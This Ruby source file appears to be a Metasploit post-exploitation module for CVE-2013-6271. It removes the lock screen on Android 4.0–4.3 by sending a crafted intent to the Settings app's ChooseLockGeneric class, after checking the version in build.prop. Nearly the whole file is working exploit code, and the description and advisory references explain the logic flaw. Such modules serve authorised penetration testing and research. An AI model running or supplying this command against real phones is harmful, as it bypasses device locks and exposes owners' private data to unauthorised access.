54 lines
1.9 KiB
Ruby
54 lines
1.9 KiB
Ruby
|
##
|
||
|
|
# This module requires Metasploit: http://metasploit.com/download
|
||
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit4 < Msf::Post
|
||
|
|
Rank = NormalRanking
|
||
|
|
|
||
|
|
include Msf::Post::Common
|
||
|
|
|
||
|
|
def initialize(info={})
|
||
|
|
super( update_info( info, {
|
||
|
|
'Name' => "Android Settings Remove Device Locks",
|
||
|
|
'Description' => %q{
|
||
|
|
This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class.
|
||
|
|
Any unprivileged app can exploit this vulnerability to remove the lockscreen.
|
||
|
|
A logic flaw / design error exists in the settings application that allows an Intent from any
|
||
|
|
application to clear the screen lock. The user may see that the Settings application has crashed,
|
||
|
|
and the phone can then be unlocked by a swipe.
|
||
|
|
This vulnerability was patched in Android 4.4.
|
||
|
|
},
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Author' => [
|
||
|
|
'CureSec', # discovery
|
||
|
|
'timwr' # metasploit module
|
||
|
|
],
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'CVE', '2013-6271' ],
|
||
|
|
[ 'URL', 'http://blog.curesec.com/article/blog/26.html' ],
|
||
|
|
[ 'URL', 'http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf' ]
|
||
|
|
],
|
||
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||
|
|
'Platform' => 'android',
|
||
|
|
'DisclosureDate' => "Oct 11 2013"
|
||
|
|
}
|
||
|
|
))
|
||
|
|
end
|
||
|
|
|
||
|
|
def run
|
||
|
|
buildprop = cmd_exec('cat /system/build.prop')
|
||
|
|
unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/
|
||
|
|
print_error("This module is only compatible with Android versions 4.0 to 4.3")
|
||
|
|
return
|
||
|
|
end
|
||
|
|
|
||
|
|
cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task')
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
|